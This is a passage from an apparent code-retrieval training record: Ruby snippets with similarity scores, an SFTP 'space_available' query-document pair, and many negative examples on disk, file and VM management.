"def send_range_for_local_file\n _, range = request.headers['Range'].split('bytes=')\n from, to = range.split('-').map(&:to_i)\n to = local_file_size - 1 unless to\n length = to - from + 1\n response.headers['Content-Range'] = \"bytes #{from}-#{to}/#{local_file_size}\"\n response.headers['Content-Length'] = length.to_s\n self.status = 206\n prepare_local_file_headers\n # For derivatives stored on the local file system\n send_data IO.binread(file, length, from), local_derivative_download_options.merge(status: status)\n end",
"def solve_block(input, target, mode)\n nonce = 0\n solved = false\n hash = \"\"\n loop do\n input_with_nonce = input + nonce.to_s\n hash = get_hash(input_with_nonce)\n nonce = nonce + 1\n\n if (mode == \"zero\") then\n if (hash.start_with?(target)) then\n solved = true\n end\n else\n if (hash.hex < target) then\n solved = true\n end\n end\n\n if (solved) then\n return [hash, nonce]\n end\n end\nend",
"def update_download_status size, length\n @current_byte ||= 0\n @previous_print ||= 0\n @current_byte += size\n\n if length\n pct = @current_byte * 100 / length\n pct = (pct / 5) * 5\n\n if pct != @previous_print\n @previous_print = pct\n status pct.to_s + '% '\n end\n else\n # server didn't supply a length, display running byte count?\n end\n end",
"def readpartial(size)\n rescue_readable do\n socket.read_nonblock(size)\n end\n end",
"def check_size(&block)\n self.instance_eval(&block)\n end",
"def bytes(path, &b)\n path = Pathname.new(path).cleanpath\n if fs.file?(path)\n yield fs.get_size(path)\n elsif fs.directory?(path)\n yield -1\n else\n yield false\n end\n end",
"def send_file_full_rack(req_path, request, response,type=\"png\", header_only=false)\n\t stat = File.stat(req_path)\n\n # Set the last modified times as well and etag for all files\n\t mtime = stat.mtime\n # Calculated the same as apache, not sure how well the works on win32\n\t etag = ETAG_FORMAT % [mtime.to_i, stat.size, stat.ino]\n\n modified_since = request.env[HTTP_IF_MODIFIED_SINCE]\n\t none_match = request.env[HTTP_IF_NONE_MATCH]\n\n # test to see if this is a conditional request, and test if\n\t # the response would be identical to the last response\n same_response = case\n when modified_since && !last_response_time = Time.httpdate(modified_since) rescue nil then false\n when modified_since && last_response_time > Time.now then false\n when modified_since && mtime > last_response_time then false\n when none_match && none_match == '*' then false\n when none_match && !none_match.strip.split(/\\s*,\\s*/).include?(etag) then false\n else modified_since || none_match # validation successful if we get this far and at least one of the header exists\n end\n\n\t header = response.header\n header[ETAG] = etag\n\n\t if same_response\n\t response.status = 304\n\t else\n\n\t # First we setup the headers and status then we do a very fast send on the socket directly\n\n # Support custom responses except 404, which is the default. A little awkward. \n\t response.status = 200 if response.status == 404\n\t header[LAST_MODIFIED] = mtime.httpdate\n \n\t header[CONTENT_TYPE] = type\n\n \t # send a status with out content length\n \t #response.send_status(stat.size)\n\t #response.send_header\n\t #response.send_file(req_path, stat.size < 16*1024 * 2)\n\t response.body = Rack::File.new(req_path)\n\t return stat.size\n\t end\n end",
"def block_size\n\t\t25\n\tend"
] | [
"0.5467314",
"0.48675466",
"0.48260993",
"0.4686893",
"0.46233553",
"0.4605913",
"0.46038654",
"0.4520876",
"0.44735864",
"0.44729158",
"0.4465444",
"0.44459736",
"0.44377795",
"0.43980405",
"0.43949682",
"0.43703648",
"0.4367681",
"0.43552607",
"0.43297112",
"0.42973626",
"0.4283257",
"0.4283257",
"0.42578143",
"0.41943967",
"0.41795558",
"0.4168798",
"0.41383338",
"0.41172034",
"0.41171813",
"0.4104216",
"0.40990162",
"0.40730682",
"0.40423742",
"0.39985648",
"0.39763725",
"0.39707097",
"0.39619836",
"0.39607888",
"0.39581317",
"0.3957188",
"0.39551225",
"0.39531913",
"0.39528605",
"0.3949699",
"0.39493412",
"0.39444318",
"0.39385268",
"0.39293396",
"0.3926708",
"0.39176425",
"0.39152622",
"0.39026454",
"0.39026454",
"0.38858008",
"0.38724855",
"0.38589093",
"0.3858003",
"0.38575345",
"0.38537574",
"0.3848181",
"0.38429475",
"0.3838703",
"0.38385475",
"0.38261193",
"0.3825059",
"0.38240564",
"0.38234523",
"0.3822094",
"0.3820334",
"0.38199386",
"0.38126576",
"0.38112918",
"0.38097075",
"0.3798685",
"0.37969032",
"0.37887272",
"0.37787452",
"0.37714556",
"0.37700236",
"0.37700236",
"0.37695566",
"0.3769234",
"0.3765505",
"0.3760103",
"0.3756054",
"0.37471253",
"0.37440738",
"0.3740402",
"0.37383702",
"0.3737284",
"0.37370795",
"0.3732581",
"0.37322992",
"0.3730414",
"0.3727959",
"0.37263784",
"0.37244815",
"0.3719574",
"0.37160316",
"0.37121662"
] | 0.657518 | 0 |
Sends a FXP_EXTENDED packet to the server to request disk space availability for the given +path+ location. | def space_available(path)
send_request(FXP_EXTENDED, :string, "space-available", :string, path)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def allocate_disk( amount )\n return false\n end",
"def expand_volume_path(path)\n return path if path.start_with? '/'\n\n # Retrieve volume for the path\n volume = volume_pattern.match path\n\n unless volume\n raise \"Unable to expend path '#{path}': make sure your path is absolute \" \\\n \"or that it starts with one of the volume names [#{mount_volumes.values.join(',')}]\"\n end\n\n File.join(mount_path_for(volume), path)\n end",
"def free_disk\n if @status[ 'Disk' ][ 'Active' ]\n if deallocate_disk\n @status[ 'Disk' ][ 'Amount' ] = 0\n @status[ 'Disk' ][ 'Active' ] = false\n end\n end\n end",
"def add_disk(server, size)\n host = server.to_s\n\n # Increment disk id\n if !DISKS.key?(host) then\n DISKS[host] = 0\n else\n DISKS[host] += 1\n end\n disk_id = DISKS[host]\n disk_filename = \".vagrant/disks/\" + host + \"_\" + disk_id.to_s + \".vdi\"\n\n server.vm.provider \"virtualbox\" do |v|\n # Create disk if it not exist\n unless File.exist?(disk)\n v.customize [\"createhd\", \"--filename\", disk_filename, \"--size\", size * 1024 * 1024]\n end\n v.customize ['storageattach', :id, '--storagectl', 'SATA Controller', '--port', disk_id, '--device', 0, '--type', 'hdd', '--medium', disk]\n end\nend",
"def use_disk( amount )\n if amount > 0\n if @status[ 'Disk' ][ 'Active' ]\n free_memory\n end\n\n if allocate_disk( amount )\n @status[ 'Disk' ][ 'Amount' ] = amount\n @status[ 'Disk' ][ 'Active' ] = true\n end\n end\n end",
"def stat(path, flags=nil)\n send_request(FXP_STAT, :string, path)\n end",
"def notify_path(path)\n @blk.call(:path, path, self.class::EXT)\n @path_notified = true\n end",
"def create_gdom_disk(options)\n client_disk = options['q_struct']['gdom_disk'].value\n disk_size = options['q_struct']['gdom_size'].value\n disk_size = disk_size.downcase\n vds_disk = options['name']+\"_vdisk0\"\n if not client_disk.match(/\\/dev/)\n if not File.exist?(client_disk)\n message = \"Information:\\tCreating guest domain disk \"+client_disk+\" for client \"+options['name']\n command = \"mkfile -n #{disk_size} #{client_disk}\"\n output = execute_command(options,message,command)\n end\n end\n message = \"Information:\\tChecking Virtual Disk Server device doesn't already exist\"\n command = \"ldm list-services |grep 'primary-vds0' |grep '#{vds_disk}'\"\n output = execute_command(options,message,command)\n if not output.match(/#{options['name']}/)\n message = \"Information:\\tAdding disk device to Virtual Disk Server\"\n command = \"ldm add-vdsdev #{client_disk} #{vds_disk}@primary-vds0\"\n output = execute_command(options,message,command)\n end\n return\nend",
"def smb_expand(path)\n search_path = path.gsub(/<\\./, '*.') # manage wildcards\n extension = File.extname(file_name)\n if search_path =~ /\\\\\\*#{extension}$/\n search_path.gsub!(/\\\\\\*#{extension}$/, \"\\\\#{file_name}\")\n end\n\n search_path\n end",
"def attach_disk request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_attach_disk_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def add_hdd_to_vbox_vm(client_name,vbox_disk_name)\n message = \"Attaching:\\tStorage to VM \"+client_name\n command = \"VBoxManage storageattach \\\"#{client_name}\\\" --storagectl \\\"#{$vbox_disk_type}\\\" --port 0 --device 0 --type hdd --medium \\\"#{vbox_disk_name}\\\"\"\n execute_command(message,command)\n return\nend",
"def check_required_disk_space\n old_data_dir_size = Du.du(old_data_dir)\n # new_data_dir might not exist at the point of making this check.\n # In that case check the first existing directory above it.\n new_dir = dir_or_existing_parent(new_data_dir)\n free_disk_space = Statfs.new(new_dir).free_space\n\n if old_data_dir_size < (free_disk_space * 0.90)\n Chef::Log.debug(\"Old data dir size: #{old_data_dir_size}\")\n Chef::Log.debug(\" Free disk space: #{free_disk_space}\")\n Chef::Log.debug('Free space is sufficient to start upgrade')\n true\n else\n Chef::Log.fatal('Insufficient free space on disk to complete upgrade.')\n Chef::Log.fatal(\"The current postgresql data directory contains #{old_data_dir_size} KB of data but only #{free_disk_space} KB is available on disk.\")\n Chef::Log.fatal(\"The upgrade process requires at least #{old_data_dir_size / 0.90} KB.\")\n raise 'Insufficient Disk Space to Upgrade'\n end\n end",
"def check_required_disk_space\n old_data_dir_size = Du.du(old_data_dir)\n # new_data_dir might not exist at the point of making this check.\n # In that case check the first existing directory above it.\n new_dir = dir_or_existing_parent(new_data_dir)\n free_disk_space = Statfs.new(new_dir).free_space\n\n if old_data_dir_size < (free_disk_space * 0.90)\n Chef::Log.info(\"!!!!!!!!!!!!! Old data dir size: #{old_data_dir_size}\")\n Chef::Log.info(\"Free disk space: #{free_disk_space}\")\n Chef::Log.info('Free space is sufficient to start upgrade')\n true\n else\n Chef::Log.fatal('Insufficient free space on disk to complete upgrade.')\n Chef::Log.fatal(\"The current postgresql data directory contains #{old_data_dir_size} KB of data but only #{free_disk_space} KB is available on disk.\")\n Chef::Log.fatal(\"The upgrade process requires at least #{old_data_dir_size / 0.90} KB.\")\n raise 'Insufficient Disk Space to Upgrade'\n end\n end",
"def disk(cfg)\n mountpoint = \"mountpoint=\\\"#{cfg['mount']}\\\"\"\n query = @client.percent_query_free(\n \"node_filesystem_size{#{mountpoint}}\",\n \"node_filesystem_avail{#{mountpoint}}\"\n )\n prepare_metrics('disk', @client.query(query))\n end",
"def capacity_available\n if self.restaurant.availability(self.party_size, self.time) < 0\n errors.add(:party_size, \"Inadequate capacity\")\n end\n end",
"def attach_disk(instance, zone, disk_name, device_name=nil, disk_mode='READ_WRITE', disk_type='PERSISTENT')\n data = false\n conn = @ec2_main.environment.connection\n if conn != nil\n response = conn.attach_disk(instance, zone, disk_name, device_name, disk_mode, disk_type)\n if response.status == 200\n data = response.body\n else\n data = {}\n end\n else\n raise \"Connection Error\"\n end\n return data\n end",
"def is_attachable_volume_path?(path)\n return (nil != (path =~ @assignable_disk_regex) || nil != (path =~ @assignable_path_regex))\n end",
"def is_available=(value)\n @is_available = value\n end",
"def attach_disk(config, prefix, disk_num, size)\n filename = \"#{prefix}#{disk_num}.vdi\"\n config.vm.provider \"virtualbox\" do |vb|\n if !File.exist?(filename) \n vb.customize ['createhd', '--filename', filename, '--size', (size * 1024).floor, '--variant', 'fixed']\n vb.customize ['modifyhd', filename, '--type', 'shareable']\n end\n\n vb.customize ['storageattach', :id, '--storagectl', 'SATAController', '--port', disk_num + 2, '--device', 0, '--type', 'hdd', '--medium', filename]\n end\nend",
"def setup_disk(path)\n dev = ::File.readlink(path)\n full_path = ::File.absolute_path(dev, ::File.dirname(path))\n\n fs_type = get_fs_type(full_path)\n if fs_type.nil?\n Mixlib::ShellOut.new(\"mkfs.ext4 #{full_path}\").run_command\n fs_type = 'ext4'\n end\n\n fs_type\nend",
"def setup_disk(path)\n dev = ::File.readlink(path)\n full_path = ::File.absolute_path(dev, ::File.dirname(path))\n\n fs_type = get_fs_type(full_path)\n if fs_type.nil?\n Mixlib::ShellOut.new(\"mkfs.ext4 #{full_path}\").run_command\n fs_type = 'ext4'\n end\n\n fs_type\nend",
"def smb_open(path, perm)\n @smb.open(path, perm, 500)\nend",
"def addVolume(dev, size, type: \"pd-standard\", delete_on_termination: false)\n devname = dev.gsub(/.*?\\/([^\\/]+)$/, '\\1')\n resname = MU::Cloud::Google.nameStr(@mu_name+\"-\"+devname)\n MU.log \"Creating disk #{resname}\"\n\n description = @deploy ? @deploy.deploy_id : @mu_name+\"-\"+devname\n\n newdiskobj = MU::Cloud::Google.compute(:Disk).new(\n size_gb: size,\n description: description,\n zone: @config['availability_zone'],\n# type: \"projects/#{config['project']}/zones/#{config['availability_zone']}/diskTypes/pd-ssd\",\n type: \"projects/#{@project_id}/zones/#{@config['availability_zone']}/diskTypes/#{type}\",\n# Other values include pd-ssd and local-ssd\n name: resname\n )\n\n begin\n newdisk = MU::Cloud::Google.compute(credentials: @config['credentials']).insert_disk(\n @project_id,\n @config['availability_zone'],\n newdiskobj\n )\n rescue ::Google::Apis::ClientError => e\n if e.message.match(/^alreadyExists: /)\n MU.log \"Disk #{resname} already exists, ignoring request to create\", MU::WARN\n return\n else\n raise e\n end\n end\n\n attachobj = MU::Cloud::Google.compute(:AttachedDisk).new(\n device_name: devname,\n source: newdisk.self_link,\n type: \"PERSISTENT\",\n auto_delete: delete_on_termination\n )\n\n MU.log \"Attaching disk #{resname} to #{@cloud_id} at #{devname}\"\n MU::Cloud::Google.compute(credentials: @config['credentials']).attach_disk(\n @project_id,\n @config['availability_zone'],\n @cloud_id,\n attachobj\n )\n\n end",
"def setstat(path, attrs)\n send_request(FXP_SETSTAT, :string, path, :raw, attribute_factory.new(attrs).to_s)\n end",
"def test_s_avail\n # dpkg --print-avail ...\n a = IO.popen('dpkg --print-avail w3m') do |f|\n Debian::Deb.new(f.readlines.join(''))\n end\n ta = Debian::Dpkg.avail(['w3m'])\n assert_equals(a, ta['w3m'])\n end",
"def attempt_to_distribute(path, response)\n\n status, headers, content = response\n\n if headers['X-Storehouse-Distribute'].to_i > 0\n Storehouse.write_file(path, string_content(content))\n end\n\n [status, headers, content]\n end",
"def bindfs_fuse_loaded(machine)\n machine.guest.capability(:bindfs_fuse_installed)\n end",
"def provision_and_mount_volume(server, disk_size, device)\n unless provider.find_server_device(server, device)\n say \"Provisioning #{disk_size}Gb persistent disk for inception VM...\"\n provider.create_and_attach_volume(\"Inception Disk\", disk_size, server, device)\n end\n\n # Format and mount the volume\n if aws?\n say \"Skipping volume mounting on AWS 12.10 inception VM until its fixed\", [:yellow, :bold]\n run_ssh_command_until_successful server, \"sudo mkdir -p /var/vcap/store\"\n else\n say \"Mounting persistent disk as volume on inception VM...\"\n run_ssh_command_until_successful server, \"sudo mkfs.ext4 #{device} -F\"\n run_ssh_command_until_successful server, \"sudo mkdir -p /var/vcap/store\"\n run_ssh_command_until_successful server, \"sudo mount #{device} /var/vcap/store\"\n end\n end",
"def lookup_or_create(path, **kwargs)\n existing = @virtual_disk[self.class.cleanpath(path)]\n return existing if existing\n\n kwargs[:exist?] = false\n VirtualPathname.new(@virtual_disk, path, **kwargs)\n end",
"def add_cdrom_to_vbox_vm(client_name)\n message = \"Attaching:\\tCDROM to VM \"+client_name\n command = \"VBoxManage storagectl \\\"#{client_name}\\\" --name \\\"cdrom\\\" --add \\\"sata\\\" --controller \\\"IntelAHCI\\\"\"\n execute_command(message,command)\n if File.exist?($vbox_additions_iso)\n message = \"Attaching:\\tISO \"+$vbox_additions_iso+\" to VM \"+client_name\n command = \"VBoxManage storageattach \\\"#{client_name}\\\" --storagectl \\\"cdrom\\\" --port 0 --device 0 --type dvddrive --medium \\\"#{$vbox_additions_iso}\\\"\"\n execute_command(message,command)\n end\n return\nend",
"def flavor_has_ephemeral_disk?(flavor)\n flavor.ephemeral && flavor.ephemeral.to_i > 0\n end",
"def reserve( queue_name, opts = {} )\n opts = opts.merge( :open => true )\n get( queue_name, opts )\n end",
"def check_disk\n super\n end",
"def attach_disk_to_vm(vm)\n begin\n start_time = Time.now.to_i\n OOLog.info(\"Attaching Storage disk ....\")\n vm_promise = @compute_client.virtual_machines.create_or_update(@rg_name, @instance_name, vm)\n my_vm = vm_promise.value!\n end_time = Time.now.to_i\n duration = end_time - start_time\n OOLog.info(\"Storage Disk attached #{duration} seconds\")\n OOLog.info(\"VM: #{my_vm.body.name} UPDATED!!!\")\n return true\n rescue MsRestAzure::AzureOperationError =>e\n OOLog.debug( e.body.inspect)\n if e.body.to_s =~ /InvalidParameter/ && e.body.to_s =~ /already exists/\n OOLog.debug(\"The disk is already attached\")\n else\n OOLog.fatal(e.body)\n end\n rescue MsRestAzure::CloudErrorData =>e\n OOLog.fatal(e.body.message)\n rescue Exception => ex\n OOLog.fatal(ex.message)\n end\n end",
"def append_content(path, content)\n \n puts \"Sending path and content via MCollective Files client\"\n @mc.append(:path => path, :content => content)\n printrpcstats\n \n end",
"def create_disk(name, size_mb, vm = nil, retries = @retries[\"default\"])\n new_disk = Xml::WrapperFactory.create_instance(\"DiskCreateParams\")\n new_disk.name = name\n new_disk.size_bytes = size_mb * 1024 * 1024 # VCD expects bytes\n new_disk.bus_type = Xml::HARDWARE_TYPE[:SCSI_CONTROLLER]\n new_disk.bus_sub_type = Xml::BUS_SUB_TYPE[:LSILOGIC]\n new_disk.add_locality(vm) if vm\n vdc = get_ovdc\n @logger.info(\"Creating independent disk #{name} of #{size_mb}MB.\")\n @logger.info(\"Disk locality ist set to #{vm.name} #{vm.urn}.\") if vm\n disk = @connection.post(vdc.add_disk_link, new_disk,\n Xml::MEDIA_TYPE[:DISK_CREATE_PARAMS])\n raise ApiRequestError unless disk.respond_to?(:running_tasks)\n # Creating a disk returns a disk with tasks inside\n retries.times do |try|\n return disk if disk.running_tasks.nil? || disk.running_tasks.empty?\n @logger.info(\"Disk #{disk.urn} has running tasks. Waiting for \" +\n \"tasks to finish. Try: #{try}/#{retries} .\" )\n disk.running_tasks.each do |t|\n monitor_task(t)\n end\n disk = @connection.get(disk)\n end\n end",
"def disk_space()\n\n instructions = 'df -h'\n r = @ssh ? @ssh.exec!(instructions) : `#{instructions}`\n\n @results[:disk_usage] = {}\n\n a = r.lines.grep(/\\/dev\\/root/)\n\n puts ('a: ' + a.inspect).debug if @debug\n\n if a.any? then\n size, used, avail = a[0].split(/ +/).values_at(1,2,3)\n\n @results[:disk_usage][:root] = {size: size, used: used, \n avail: avail}\n end\n\n a2 = r.lines.grep(/\\/dev\\/sda1/)\n\n puts ('a2: ' + a2.inspect).debug if @debug\n\n if a2.any? then\n size, used, avail = a2[0].split(/ +/).values_at(1,2,3)\n\n @results[:disk_usage][:sda1] = {size: size, used: used, \n avail: avail}\n end\n\n end",
"def disk_space_allocation_exceeded(host_name)\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n #{[Conn[:host_api], 'nodes', host_name].join('/')} | jq '.disk_free_limit<.disk_free*.8'`\n end",
"def growfs\n case\n when checkfs == false && ismounted == false\n createfs\n when ismounted\n xfs_growfs(@resource[:fs_path])\n info(\"#{@resource[:fs_path]} has been grown\")\n end\n end",
"def disk_specs(path)\n specs = []\n unit = 0\n if resource[:virtual_disks]\n resource[:virtual_disks].each do |vd|\n size = vd[\"size\"].to_i * 1024 * 1024\n specs << disk_spec(path, size, unit)\n unit += 1\n end\n else\n specs << disk_spec(path, resource[:disk_size], unit)\n end\n\n specs\n end",
"def send_disposable_file(path, opts = {})\n if opts[:type] || !response['Content-Type']\n content_type opts[:type] || File.extname(path), :default => 'application/octet-stream'\n end\n\n disposition = opts[:disposition]\n filename = opts[:filename]\n disposition = 'attachment' if disposition.nil? && filename\n filename = path if filename.nil?\n attachment(filename, disposition) if disposition\n\n last_modified opts[:last_modified] if opts[:last_modified]\n\n file = DisposableFile.new nil\n file.path = path\n result = file.serving env\n result[1].each { |k,v| headers[k] ||= v }\n headers['Content-Length'] = result[1]['Content-Length']\n halt opts[:status] || result[0], result[2]\n rescue Errno::ENOENT\n not_found\n end",
"def zfs_exist?(name)\n cmd = Mixlib::ShellOut.new('zfs', 'get', 'mountpoint', name)\n cmd.environment['PATH'] = \"/usr/sbin:#{ENV['PATH']}\" if platform_family?('solaris2')\n cmd.run_command\n cmd.exitstatus == 0\nend",
"def available\n # do not run on reservations that don't matter anymore\n return if checked_in || due_date < Time.zone.today\n return unless equipment_model\n return unless equipment_model.num_available(start_date, due_date) <= 0\n errors.add(:base, equipment_model.name + ' is not available for the '\\\n \"full time period requested.\\n\")\n end",
"def is_available\n\t\tself.stock_qty > 0\n\tend",
"def lstat(path, flags=nil)\n send_request(FXP_LSTAT, :string, path)\n end",
"def allocate_drench\n return if authorise_for_web(program_name?, 'delivery_edit')==false\n\n #test if drenching is allowed\n @del_track = DeliveryTrackIndicator.find_by_sql(\"select * from delivery_track_indicators where delivery_id=#{session[:new_delivery].id} order by id ASC\")[0] #delivery_id_and_track_indicator_type_code(session[:new_delivery].id, \"LOB\")\n if @del_track && @del_track.track_variable_1 == true\n #test for drench allocation\n @drench_route_step = DeliveryRouteStep.find_by_route_step_code_and_delivery_id(\"drench_allocation_complete\", session[:new_delivery].id)\n @dry_route_step = DeliveryRouteStep.find_by_route_step_code_and_delivery_id(\"dry_line_allocated\", session[:new_delivery].id)\n if @drench_route_step\n if (!@dry_route_step)\n flash[:error]= \"dry_line_allocated route step is missing for this delivery\"\n @freeze_flash = false\n render_existing_new_delivery\n elsif (@drench_route_step.date_completed==nil && @dry_route_step.date_completed==nil)\n session[:drench_delivery] = nil if session[:drench_delivery]!= nil\n session[:drench_delivery] = Hash.new\n session[:drench_delivery][:delivery_id] = session[:new_delivery].id\n @drench_line_codes = DrenchLine.find_by_sql(\"select distinct drench_line_code from drench_lines\").map { |g| [g.drench_line_code] }\n @drench_line_codes.unshift([\"<empty>\"])\n render :template => 'rmt_processing/delivery/allocate_drench.rhtml', :layout => 'content'\n #render_allocate_drench\n else\n flash[:error]= \"Drench allocation was already done for this delivery\"\n @freeze_flash = false\n render_existing_new_delivery\n end\n else\n flash[:error]= \"drench_allocation_complete route step is missing for this delivery\" #\"Delivery has not been set for drenching!\"\n @freeze_flash = false\n render_list_deliveries\n end\n else\n flash[:error]= \"Drenching is not allowed for this delivery. Check Track_Variable_1 of LOB indicator!\"\n @freeze_flash = false\n# render_list_deliveries\n redirect_to_index()\n end\n end",
"def create(size)\n disk_id = uuid\n sh \"zfs create -o reservation=1024 -o quota=1024 #{base}/#{disk_id}\"\n disk_id\n end",
"def available_balance(rate, dir, type, symbol)\n params = {\n symbol: symbol,\n dir: dir,\n type: type,\n rate: rate\n }\n authenticated_post(\"auth/calc/order/avail\", params: params).body\n end",
"def disc_loading?(drive)\n fd = File.open(drive, File::NONBLOCK | File::RDONLY)\n rv = fd.ioctl($CDROM_DRIVE_STATUS, 0);\n fd.close\n if (rv==$CDS_DRIVE_NOT_READY) \n return true\n end\n return false\nend",
"def available\n # do not run on reservations that don't matter anymore\n return if self.checked_in || self.due_date < Date.current\n return unless equipment_model\n if equipment_model.num_available(start_date, due_date) <= 0\n errors.add(:base, equipment_model.name + \" is not available for the full time period requested.\\n\")\n end\n end",
"def attach_disk(server_id, disk_id)\n with_thread_name(\"attach_disk(#{server_id}, #{disk_id})\") do\n server = @openstack.with_openstack { @openstack.compute.servers.get(server_id) }\n cloud_error(\"Server `#{server_id}' not found\") unless server\n\n volume = @openstack.with_openstack { @openstack.volume.volumes.get(disk_id) }\n cloud_error(\"Volume `#{disk_id}' not found\") unless volume\n\n device_name = attach_volume(server, volume)\n\n update_agent_settings(server) do |settings|\n settings['disks'] ||= {}\n settings['disks']['persistent'] ||= {}\n settings['disks']['persistent'][disk_id] = device_name\n end\n end\n end",
"def info(path, _opts={})\n path = norm_path(path)\n BFS::FileInfo.new(path, @client.size(path), @client.mtime(path))\n rescue Net::FTPPermError\n raise BFS::FileNotFound, path\n end",
"def check_branded_zone_pkg()\n if options['host-os-release'].match(/11/)\n message = \"Information:\\tChecking branded zone support is installed\"\n command = \"pkg info pkg:/system/zones/brand/brand-solaris10 |grep Version |awk \\\"{print \\\\\\$2}\\\"\"\n output = execute_command(options,message,command)\n if not output.match(/[0-9]/)\n message = \"Information:\\tInstalling branded zone packages\"\n command = \"pkg install pkg:/system/zones/brand/brand-solaris10\"\n execute_command(options,message,command)\n end\n end\n return\nend",
"def run\n drives = execute_wmi_query(\"Select deviceid, freespace, size from win32_logicaldisk\")\n for drive in drives do\n if drive.deviceid =~ /^(\\w):$/\n drive_letter = $1\n free_space_val = drive.freespace\n drive_size_val = drive.size\n if is_number?(free_space_val) && is_number?(drive_size_val)\n used_space = drive_size_val.to_i - free_space_val.to_i\n @logger.debug(\"Drive #{drive_letter}: has #{free_space_val} free and #{used_space} used space\")\n gauge('df', '', 'df', \"drive_#{drive_letter}\", [ used_space, free_space_val.to_i ])\n end\n end\n end\nend",
"def available(fs = ?/.freeze)\n\t\t\t\ts = stat_raw(fs)\n\t\t\t\treturn nil if s.empty?\n\t\t\t\ts.default = 0\n\t\t\t\ts[:block_size] * s[:block_avail_unpriv]\n\t\t\tend",
"def disc_ready?(drive)\n fd = File.open(drive, File::NONBLOCK | File::RDONLY)\n \n # Check the drive itself.\n rv = fd.ioctl($CDROM_DRIVE_STATUS, 0);\n fd.close\n if (rv==$CDS_DISC_OK)\n return true\n end\n \n return false\nend",
"def available_space\n if is_data_center?\n 99_999_999\n else\n @available_space\n end\n end",
"def available?\n status == :available\n end",
"def availability(*args)\n @client.get \"#{@path}/availability\", Hash[*args]\n end",
"def info(path, **_opts)\n path = norm_path(path)\n BFS::FileInfo.new(path: path, size: @client.size(path), mtime: @client.mtime(path))\n rescue Net::FTPPermError\n raise BFS::FileNotFound, path\n end",
"def hyperv\n has_grow, grow_by = SubutaiDisk.has_grow\n file_disk = SubutaiDisk.file_path(grow_by, \"hyper_v\")\n disk_path = Pathname.new file_disk\n\n unless disk_path.exist?\n Put.warn SubutaiDisk.message(grow_by)\n\n if has_grow\n if SubutaiDisk.hyperv_create_disk(grow_by, disk_path.to_s)\n SubutaiDisk.save_path(SubutaiDisk.port, disk_path.to_s)\n SubutaiDisk.save_conf(grow_by)\n end\n end\n else\n Put.error \"Disk file already exist in #{file_disk}\"\n end\n end",
"def using_disk?\n return @status[ 'Disk' ][ 'Active' ]\n end",
"def vm_disk_write\n return unless @options[:mode] == 'vm_disk_write'\n rrddata_helper(value: 'diskwrite', output_msg: 'Disk write')\n end",
"def query(path, query)\n path = \"#{Paths::VFS}/#{path}\" unless path.start_with?(Paths::VFS)\n path = sanitize_path(path)\n\n @api.get(path, :parameters => { :q => query })\n end",
"def ReservedSpace(part)\n part = deep_copy(part)\n # read the percentage\n option = Ops.get_string(\n part,\n [\"fs_options\", \"opt_reserved_blocks\", \"option_value\"],\n \"\"\n )\n ret = 0\n\n if option != nil && option != \"\"\n percent = Builtins.tofloat(option)\n\n if Ops.greater_than(percent, 0.0)\n # convert to absolute value\n fs_size = Ops.get_integer(part, \"size_k\", 0)\n ret = Builtins.tointeger(\n Ops.multiply(\n Convert.convert(\n Ops.divide(fs_size, 100),\n :from => \"integer\",\n :to => \"float\"\n ),\n percent\n )\n )\n end\n end\n\n if Ops.greater_than(ret, 0)\n Builtins.y2milestone(\n \"Partition %1: reserved space: %2%% (%3kB)\",\n Ops.get_string(part, \"name\", \"\"),\n option,\n ret\n )\n end\n\n Ops.multiply(ret, 1024)\n end",
"def list_extents(path, options = { })\n command_line = [ '-e' ]\n command_line << '-b' if options[:blocks]\n\n stripe_group = options[:stripe_group]\n command_line << '-G' << stripe_group if stripe_group\n\n affinity_key = options[:affinity_key]\n command_line << '-K' << affinity_key if affinity_key\n\n command_line << '-r' if options[:recursive]\n\n command_line << '-t' if options[:totals]\n\n command_line << path\n raw_response = execute(command_line)\n return raw_response if options.fetch(:return_raw_response, return_raw_response)\n\n file_extents = { }\n file_path = nil\n headers = nil\n extents_data = [ ]\n raw_response.each_line do |line|\n l = line.strip\n if l.empty?\n unless extents_data.empty?\n file_extents[file_path] = extents_data.map { |e| Hash[ headers.zip(e) ] }\n end\n file_path = nil\n headers = nil\n extents_data = [ ]\n next\n elsif file_path.nil?\n file_path = l.strip.chop\n elsif headers.nil?\n headers = l.strip.squeeze(' ').split(' ')\n else\n extents_data << l.strip.squeeze(' ').split(' ')\n end\n end\n file_extents[file_path] = extents_data.map { |e| Hash[ headers.zip(e) ] } unless file_path.nil? or extents_data.empty?\n\n file_extents\n end",
"def available_space?(location)\n\n\tend",
"def expand_path(path)\n if session.type == \"meterpreter\"\n return session.fs.file.expand_path(path)\n else\n return cmd_exec(\"echo #{path}\")\n end\n end",
"def reserve_inventory\n begin\n @product_reserved_stock = @product.reserved_stock_availabilty_in_distribution_center(\n @distribution_center.id, inventory_stock_params[:items_count]).first\n unless @product_reserved_stock.present?\n @product_reserved_stock = @product.stock_inventories.create!(available: false,\n items_count: 0,\n distribution_center_id:\n @distribution_center.id)\n end\n if @product_available_stock.update_attribute(:items_count,\n @product_available_stock.items_count -\n inventory_stock_params[:items_count]) &&\n @product_reserved_stock.update_attribute(:items_count,\n @product_reserved_stock.items_count +\n inventory_stock_params[:items_count])\n\n response = {message: 'Inventory has been reserved of particular product stock in specified distribution center.'}\n status_code = 200\n else\n response = {errors:\n [{detail: \"We can't apply this operation at this time, please try later.\"}]}\n status_code = 403\n end\n rescue => ex\n response = {errors: [{detail: ex.message}]}\n status_code = 403\n end\n render json: response, status: status_code\n end",
